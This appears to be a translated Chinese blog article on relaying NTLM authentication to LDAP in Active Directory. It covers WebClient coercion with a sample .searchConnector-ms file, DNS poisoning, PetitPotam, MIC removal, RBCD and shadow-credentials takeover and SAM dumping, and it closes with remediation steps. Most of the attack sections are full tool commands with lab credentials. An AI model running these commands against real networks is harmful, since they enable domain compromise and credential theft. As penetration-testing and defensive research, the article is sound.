NTLM 中继到 LDAP - The Hail Mary of Network Compromise

NTLM 中继攻击是一种 MITM 攻击，通常涉及某种形式的身份验证强制，攻击者诱使主机向攻击者控制的机器进行身份验证，然后将身份验证中继到目标设备、资源或服务，从而有效地冒充主机。这种类型的攻击对 Active Directory 环境来说绝对是毁灭性的，尤其是当攻击者能够从未经身份验证的上下文中强制进行身份验证，然后中继到服务以初始访问域时。

中继身份验证的最重要服务之一是 LDAP，即轻量级目录访问协议，它实际上是 Active Directory 的核心。这是因为，如果我们能够使用 NTLM 中继模拟计算机帐户，我们就可以修改帐户上的一系列关键 LDAP 属性，从而允许我们执行帐户接管。因为我们控制计算机帐户，所以我们在物理设备上也拥有管理员或系统权限，从而允许我们在设备上执行命令。这意味着，只要有一个外部域控制器来中继身份验证，理论上我们就可以接管 Active Directory 网络中的任何设备。

虽然这听起来很有影响力，但要正确进行这样的攻击，需要满足一系列要求，在我看来，LDAP 中继攻击是网络入侵的万福玛利亚。本文档将解释具体的利用途径、实际示例、它们的要求以及进行攻击的配置细节。

这篇文章主要是为了记录我对 LDAP 中继攻击的研究，并为其他人提供学习的知识来源。

深入 Active Directory 的核心

尽管攻击者利用 NTLM 到 LDAP 中继攻击存在大量要求，但这种攻击有相当多的变体，还有多个边缘情况需要考虑。

我喜欢将攻击链划分为以下不同类别：

1. 强制（Coercion）：当攻击者能够强制其主机进行身份验证尝试时，此身份验证尝试随后可以作为攻击的一部分进行转发。这可以通过多种方式实现，我们将逐一介绍。

2. 传输：传输类别包括攻击者在攻击过程中修改 NTLM 身份验证请求的潜在能力。

3. 事后：好的，我们已经通过 LDAP 中继成功模拟了计算机帐户，我们可以采取哪些步骤来确保帐户接管？本节介绍攻击者如何有效利用 LDAP 写入原语。

强制（Coercion）

解释 - WebClient：再次滥用已有 30 年历史的协议

强制阶段的一个关键部分是强制我们进行可用的身份验证，这在 LDAP 中继攻击期间实际上很有用。由于签名的 SMB 和 LDAP 之间存在一些协议间不操作性，这可能很困难。用于强制 SMB 身份验证的通用强制方法将不起作用（除了我们将在下一节中讨论的一些极端情况），因此我们需要利用一种称为 WebClient 的东西。

WebClient 服务用于与 WebDav 交互，WebDav 是一项已有 30 年历史的服务。Windows 10 工作站默认安装 WebClient 服务。启动 WebClient 服务后，它允许我们强制使用包含 NTLM 身份验证标头的可用 HTTP 身份验证，这反过来又允许我们执行干净的 LDAP 中继，而不必担心 SMB 的协议间不操作性。

执行此攻击的难点在于目标是否启用了 WebClient。WebClient 服务有几种自动启动的方法，不幸的是，所有方法都涉及用户输入或交互。

这些案例包括：

1. 使用以下方式映射 WebDav 服务器net use

2. 在资源管理器地址栏中输入任何非本地文件或目录的内容

3. 浏览到包含带有.searchConnector-ms扩展名的文件的目录或共享。

该文件的格式如下：

<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
    <description>Microsoft Outlook</description>
    <isSearchOnlyItem>false</isSearchOnlyItem>
    <includeInStartMenuScope>true</includeInStartMenuScope>
    <templateInfo>
        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
    </templateInfo>
    <simpleLocation>
        <url>https://example/</url>
    </simpleLocation>
</searchConnectorDescription>

此外，如果攻击者无法访问图形环境并以低权限用户身份执行命令，他们还可以.searchConnector-ms使用或将文件复制到具有默认读取权限的任何位置Powershell，cmd并且 WebClient 服务将自动启动。如果环境中大部分都是 Windows 11 设备，这尤其有用，因为在 Windows 10 之后，这些方法都不再默认起作用，包括浏览目录或与.searchConnector-ms文件共享。唯一有效的方法是通过图形环境与文件交互或通过某种形式的低权限命令执行复制文件。

第一种情况在普通用户在其工作站的日常操作中相对不太可能发生，第二种情况则有可能发生，具体取决于组织中资源的访问方式。如果用户正在访问网络共享，则 WebClient 将被激活，这意味着攻击者可以强制从设备进行 HTTP 身份验证，以将其用作 LDAP 中继的一部分。最后，第三种情况最有趣，因为它涉及亲自实施攻击并尝试远程启动 WebClient 服务。

漏洞利用 - DNS 解析的奇怪案例

如果启用了 WebClient 服务，我们可以使用 NetExec 模块webdav来枚举域用户上下文。

netexec smb 192.168.1.3 -u jdoe -p 'P@ssw0rd' -M webdav

Hostname@80/file

我们不能使用直接 IP 地址进行强制。因此，在确保身份验证返回到我们的主机时，我们必须特别有创意。

通过 dnstool.py 进行强制转换

由于每个域用户默认都可以为整个域添加 DNS 条目（感谢 Microsoft！），我们可以添加指向攻击机器的 DNS 条目，并在 WebClient 连接字符串中使用该主机名。这可以作为dnstool.py krbrelayx 工具包的一部分来完成。

python3 /opt/krbrelayx/dnstool.py -u lab.lan\\jdoe -p 'P@ssw0rd' -r attacker.lab.lan -a add -d 192.168.1.50 192.168.1.2

现在我们有了 DNS 条目，我们可以使用或之类的工具PetitPotam在Printerbug我们的 WebClient 连接字符串中引用该 DNS 条目，并成功地从我们的目标强制 HTTP 身份验证。

python3 /opt/PetitPotam.py -u jdoe -p 'P@ssw0rd' -d lab.lan attacker@80/test 192.168.1.3

由于 WebClient 连接字符串必须是主机名，因此每当设备无法将传递的主机名与有效的 IP 地址关联并且启用了链路本地多播名称解析 (LLMNR) 时，我们就可以毒害多播请求并强制目标设备通过 HTTP 身份验证成功验证我们的身份，而无需添加 DNS 条目。虽然这是一种非常迂回的强制方式，但我仍然认为这是强制，因为我们仍然从目标设备发起第一个请求，即使我们必须毒害 IP 解析。

我们可以使用一个名为的工具Responder来毒害这些多播请求，命令如下：

responder -I eth0 -v

-I指定接口名称，-v详细显示所有身份验证在标准输出中。

现在我们利用上一节中的相同PetitPotam强制，但这次使用无效的不存在的主机名作为 WebClient 连接字符串，例如anything@80/test，因此设备会发送多播请求供我们毒害，请求anything.local。

python3 /opt/PetitPotam.py -u jdoe -p 'P@ssw0rd' -d lab.lan anything@80/test 192.168.1.3

正如您所见，我们已经收到了有效的 HTTP NTLM 身份验证！

在下一节中，我们将介绍实际中继身份验证的方法，以及修改 NTLM 请求以协助进行网络攻击（作为 LDAP 中继攻击的一部分）的能力。

运输

虽然这些修改 NTLM 攻击不太可能受到攻击，但如果成功实施，后果可能是毁灭性的。有许多基于传输的 NTLM 修改攻击，其中两种涉及称为 MIC（消息完整性检查）的内容。它是位于已签名的 NTLM 身份验证请求中的一个字段，可防止通过中间人 (MITM) 和中继攻击进行篡改。

解释 - 具有重大影响的极端情况

几年前，Crowdstrike 发现了一组 NTLM 传输漏洞，这些漏洞至今仍威胁着 Active Directory 网络。他们的安全公告可在此处找到：https://www.crowdstrike.com/blog/active-directory-ntlm-attack-security-advisory/

易受 CVE-2019-1040 攻击的 Windows 设备允许简单地删除 MIC 字段。如果攻击者能够删除 MIC，则没有什么可以阻止他们将 SMB 身份验证中继到 LDAP(S)，从而成功模拟强制目标，而无需通过 WebClient 强制 HTTP 身份验证。

该漏洞还有第二个版本，称为“Drop the MIC 2”，CVE 2019-1166。易受此类攻击的设备不会验证字段设置msvAvFlag为零的请求中是否存在 MIC，这使我们能够欺骗服务器，使其相信该请求不包含 MIC。这种攻击还使我们能够绕过强制 HTTP 身份验证的要求。

最后，最不有趣的传输漏洞是，如果域将 Net-NTLMv1 身份验证发送回攻击者主机，我们可以自动删除 MIC，而不需要 WebClient 强制。如果我们能够强制 DC 并且环境中有多个 DC，则可以使用这种方法代替 NTLMv1 降级攻击，这是一种通过 LDAP 中继获取域管理员的替代方法。

漏洞利用——基站中继和 MIC 丢弃

通常对于 NTLM 中继攻击，我们会使用名为 的工具ntlmrelayx.py，它是 impacket 套件的一部分。中继到 LDAP(S) 的典型命令ntlmrelayx.py如下：

ntlmrelayx.py -t ldaps://192.168.1.2 -smb2support --no-dump --no-da --no-acl --no-validate-privs

在这里，我们通过-t指定目标协议和地址来指定域控制器，然后-smb2support为我们的请求提供对 SMBv2 的支持，指定--no-dump、--no-da、--no-acl和--no-validate-privs，以防止执行某些默认的自动功能。

这些选项在帮助菜单中有说明ntlmrelayx.py：

--no-dump Do not attempt to dump LDAP information 
--no-da Do not attempt to add a Domain Admin 
--no-acl Disable ACL attacks 
--no-validate-privs Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks

这个没有 NTLMv1 的基本命令的输出，并尝试将 SMB 中继到 LDAP 如下所示：

如您所见，中继失败了，但是如果启用了 NTLMv1，并且我们传递--remove-mic标志，由于 NTLMv1 中的弱点，ntlmrelayx.py可以丢弃 MIC 并成功在MS$DC 上进行身份验证。

ntlmrelayx.py -t ldaps://192.168.1.2 --remove-mic -smb2support --no-dump --no-da --no-acl --no-validate-privs

但是如果我们使用 WebClient 强制进行 HTTP 身份验证，而根本不启用 NTLMv1，我们就会获得成功。HTTP 身份验证由 HTTP(80) 标识符表示：

后期开发

成功以MS$机器帐户身份进行身份验证意味着我们距离完全接管帐户又近了一步，最后一步是使用一些后期利用方法来确认主体模拟。默认情况下，帐户可以自行写入一组 LDAP 属性，这使我们能够在身份验证中模拟帐户。

解释——棺材上的最后一颗钉子

通过 LDAP 属性写入实现的第一个主要帐户接管技术是 RBCD，即基于资源的约束委派。此攻击类型包括写入msDS-AllowedToActOnBehalfOfOtherIdentity属性，允许另一个 SPN（服务主体名称）以任何用户的身份委派给目标计算机帐户。这就是为什么要执行 RBCD 攻击，我们需要控制任何其他 SPN。获取免费 SPN 的最简单方法是自己添加。默认情况下，所有域用户都可以将计算机帐户添加到域中，默认情况下，域在技术上包括 SPN。这种攻击类型通常是最受欢迎的，因为它不需要在域上配置 ADCS（Active Directory 证书服务）CA（证书颁发机构），而后两种攻击类型则需要。

另一种主要技术是使用所谓的影子凭证 (Shadow Credentials) 或 Shadow Creds。如果您可以写入msDS-KeyCredentialLink LDAP 属性，则可以获取目标的 NT 哈希。尽管这确实有一些缺点。由于该msDS-KeyCredentialLink属性有时用于替代 Kerberos 身份验证，因此它可能已经在环境中设置，如果您决定写入它，可能会中断操作。虽然 也可能出现同样的情况msDS-AllowedToActOnBehalfOfOtherIdentity，但设置的可能性要小得多。在写入属性值之前检查属性值始终是一个好主意。

最后一种技术在撰写本文时是一种相对较新的技术。它是 ESC14，是 SpecterOps 的 ADCS 研究的一部分。ESC14 详细说明，如果altSecurityIdentities受害者拥有对该属性的写访问权限，并且您拥有证书模板的注册访问权限，则可以以受害者的身份请求证书。发生这种情况是因为altSecurityIdentities控制目标的显式证书映射。证书映射是域如何将证书中的用户或计算机与域中实际存在的用户或计算机关联起来以进行身份验证。如果用户明确映射到证书模板，它可以允许我们使用请求的证书以该用户的身份进行身份验证。

我不会深入讨论 ESC14 的实际利用，因为写入功能altSecurityIdentities尚未完全实现ntlmrelayx.py

利用 LDAP 写原语进行账户接管

ntlmrelayx.py有一些非常有用的标志，可以自动写入这些 LDAP 属性。这些包括--delegate-access RBCD 和--shadow-credentials标志。这使得即使有所有移动部件，也可以非常无缝和流畅地执行这些攻击。

中继到基于资源的约束委派

如果我们以前没有访问过 SPN，则需要向域添加计算机帐户。为此，我们需要一个machineAccountQuota大于零的 (MAQ)。我们可以使用 NetExec 和MAQ模块来检查这一点。

netexec ldap 192.168.1.2 -u 'jdoe' -p 'P@ssw0rd' -M MAQ

默认情况下machineAccountQuota设置为 10，这意味着我们可以成功地将 RBCD 作为中继的一部分执行。

我们可以通过 设置中继ntlmrelayx.py，使用--delegate-access以下标志：

ntlmrelayx.py -t ldaps://192.168.1.2 -smb2support --delegate-access --no-dump --no-da --no-acl --no-validate-privs

您可以看到它成功添加了新的计算机帐户，并启用了从新添加的计算机帐户到的委派MS$。

下一步是getST.py通过指定计算机帐户的用户名和密码来请求服务票证，同时委托给域管理员（DA）

getST.py -spn 'cifs/ms.lab.lan' -impersonate Administrator -dc-ip '192.168.1.2' 'lab.lan/AVQTBFIR$:Qox;+,3DeAsIgc}'

现在，我们已成功获取域管理员的票据，具体来说是访问的票据MS$，我们可以使用它来获取命令执行权限MS$或转储其 SAM（安全帐户管理器）数据库作为管理功能的示例，如下所示：

KRB5CCNAME=Administrator.ccache netexec smb 192.168.1.3 --use-kcache --sam

中继至影子凭证

要使用后利用方法（影子凭证）进行中继，首先使用 设置中继命令--shadow-credentials，然后成功强制 HTTP 身份验证：

ntlmrelayx.py -t ldaps://192.168.1.2 -smb2support --shadow-credentials --no-dump --no-da --no-acl --no-validate-privs -debug

您可以看到我们已经更新了 msDS-KeyCredentialLink 属性，并且我们可以gettgtpkinit.py从 PKINITtools 运行来获取有效的 TGT！

python3 PKINITtools/gettgtpkinit.py -cert-pfx RFN6Gg0U.pfx -pfx-pass W5Ana58pFGhvblyFDgpJ lab.lan/MS$ RFN6Gg0U.ccache

我们可以利用它来获取机器账户的 NT 哈希，如下所示：

KRB5CCNAME=RFN6Gg0U.ccache python3 PKINITtools/getnthash.py -key 4fdb7a60ed6e170c216e160ac88cb63b96337efa557c681cc7b633228a53d03b -dc-ip 192.168.1.2 'lab.lan/MS$'

由于计算机帐户在创建时会自动注册一个servicePrincipalName(SPN)，我们可以利用这个哈希值创建银票并模拟目标帐户上的域管理员 (DA)。

或者使用它来模拟域管理员并获得命令执行MS$

python3 PKINITtools/gets4uticket.py 'kerberos+ccache://lab.lan\MS$:RFN6Gg0U.ccache@192.168.1.2' 'cifs/ms.lab.lan@lab.lan' 'Administrator@lab.lan' admin.ccache

在我们以管理员身份收集新票证后，我们可以保存它admin.ccache并使用 NetExec 转储 SAM 作为示例，以表明我们已获得管理能力：

KRB5CCNAME=admin.ccache netexec smb 192.168.1.3 --use-kcache --sam

以交互方式中继到 LDAP Shell

ntlmrelayx.py您可以使用交互式 LDAP shell 通过标志对您的操作进行更细粒度的控制，而不是使用预先确定的标志来代表中继帐户自动执行某些 LDAP 操作-i。这也表明您可以通过模拟帐户采取多项操作，而不仅限于直接接管帐户。

例如，我们可以启动之前的中继，但使用-i：

ntlmrelayx.py -t ldaps://192.168.1.2 -smb2support --no-dump --no-da --no-acl --no-validate-privs -i

一旦我们收到身份验证并成功中继，我们就可以看到ntlmrelayx.py将 shell 绑定到127.0.0.1:11000

我们可以使用 netcat 访问它：

nc 127.0.0.1 11000

我们可以在 shell 中输入 help 来查看可以使用的各种命令：

补救措施——阻止攻击者的操作

由于此类攻击影响巨大，因此其中一些简单的 Active Directory 配置可能会决定攻击者是获得整个域入侵并进行勒索活动，还是在快速检测后被事件响应团队迅速赶出网络。进行持续审核非常重要，以确保攻击者获得对公司网络的初始访问权限的影响大大降低。

LDAP 签名和通道绑定

在域控制器上启用 LDAP 签名和通道绑定可确保收到的每条消息都经过验证，确认来自原始发件人，从而完全防止 LDAP 中继攻击。这组补救措施是最好的，可以阻止任何试图实施这种攻击的人。安装时未包含 KB4520412 更新的域控制器处于默认状态，可能容易受到 NTLM 中继到 LDAP 的攻击。在强制实施 LDAP 签名并配置通道绑定之前，Windows Server 2019 及之前的版本会自动受到攻击。

仅启用 LDAP 签名不足以阻止 LDAP 中继，因为攻击者仍然可以中继到 LDAPS。要完全防止对纯文本 LDAP 和 LDAPS 的 NTLM 到 LDAP 中继攻击，您需要强制执行 LDAP 签名以及启用通道绑定。这是因为通道绑定配置仅适用于 LDAPS，而 LDAP 签名仅强制对 LDAP 进行签名请求。注意：启用 LDAPS 通道绑定将完全阻止对 LDAPS 的 NTLM 身份验证。

要在域控制器上强制执行 LDAP 签名，请打开regedit并导航到，HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters然后创建一个名为的新 DWORD LDAPServerIntegrity，并将值设置为2，这表示“要求签名”。

regedit您可以通过打开并导航到来启用域控制器上的通道绑定HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NTDS\Parameters，创建一个名为的新 DWORD LdapEnforceChannelBinding并将其设置为值2，这意味着“始终启用”。

禁用 NTLMv1

如前所述，NTLMv1 对 Active Directory 域绝对有害，如果攻击者能够强制从域控制器进行身份验证，则他们能够实现对整个域的入侵。禁用 NTLMv1 通常至关重要，但出于本篇博文的目的，我将仅介绍它，因为 NTLMv1 只是中继攻击中放弃 MIC 的另一种方式。

您可以使用组策略编辑器禁用域中的 NTLMv1 身份验证。导航到Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options并选择Network security: LAN Manager authentication level。然后设置选项“仅发送 NTLMv2 响应。拒绝 LM 和 NTLM”

虽然此漏洞对于利用 LDAP 中继并非绝对必要，因为您可以使用 添加 DNS 条目dnstool.py，但从域中删除它仍然是一件非常重要的事情，如果无法添加 DNS 条目，它确实为 LDAP 中继提供了利用（胁迫）的途径。启用 LLMNR、mDNS 或 NBT-NS 并发送多播请求也是获得对 Active Directory 环境的初始访问权限的相当容易的手段。

通过组策略编辑器关闭所有多播名称解析，方法是导航到Computer Configuration\Administrative Templates\Network\DNS Client并选择“关闭多播名称解析”，最后选择“启用”。